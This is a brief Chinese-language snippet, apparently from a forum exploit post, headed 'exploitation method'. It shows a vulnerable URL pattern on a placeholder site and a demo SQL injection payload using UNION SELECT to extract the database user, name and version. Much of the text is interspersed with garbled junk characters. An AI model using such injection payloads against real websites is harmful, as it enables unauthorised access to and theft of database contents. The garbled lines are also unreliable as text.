利用方法:4 Q+ d( H, K, J- e, ?
http://www.xxx.com/index.php?id=[SQL]
% W e' g- Y, U9 f, I# P2 V Demo:
' j% |. K4 \+ F" M5 t# H( F http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |